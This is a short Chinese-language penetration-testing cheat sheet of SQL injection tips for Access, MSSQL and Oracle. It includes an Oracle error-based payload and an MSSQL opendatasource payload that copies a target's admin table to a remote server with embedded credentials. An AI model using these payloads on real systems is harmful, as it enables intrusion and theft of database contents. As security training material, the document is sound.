渗透测试中三大数据库中的一些小tips
三大数据库
Access:
1、没有系统自带表,想要知道表名只能爆破【and exist(select*from table_name)】或者猜一些常用的表名such as news、admin、user
2、不能直接select 1,2,3 必须要接表名 ==>> select 1,2,3 from admin
MSSQL:
1、联合查询用:union all
2、查询当前库名:select db_name()
通过系统自带库查询数据库名:select name from dbo.sysdatabase
通过系统自带库查询表名 :select name,id from dbo.sysobjects where xtype='U'
通过系统自带库查询字段名 :select name,id from dbo.syscolumns where id=2455
3、不是用表名来定位表,而是用id
4、判断输出点的时候不能用select 1,2,3因为MSSQL不像MYSQL是弱类型的数据库,所以要用select null,null,null from admin
5、反弹注入语法
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
opendatasource(provider_name,init_string) 其中
·provider_name:注册为了用于访问数据源的OLE DB提供程序的PROGID名称 MSSQL的名称为SQLOLEDB
·init_string:连接字符串(连接地址、端口、用户名、密码、数据库名)
server=连接地址,端口;uid=用户名;;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面的语句的查询结果插入到那个表里
Oracle:
1、存在虚表(真实存在的表,只是没有实际内容),作用是满足查询语句的结构
比如想要查询用户名(也就是当前库):select user from dual 对比MYSQL select database()
2、
查询所有表:select * from all_tables
查询当前用户的表:select * from user_tables
查询所有字段:select * from all_tab_columns
查询当前用户字段:select * from user_tab_columns
限制查询返回的总行数为一条:rownum=1,但是只显示第二行很复杂 对比MYSQL limit 0,1
3、报错注入
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- 查询数据库版本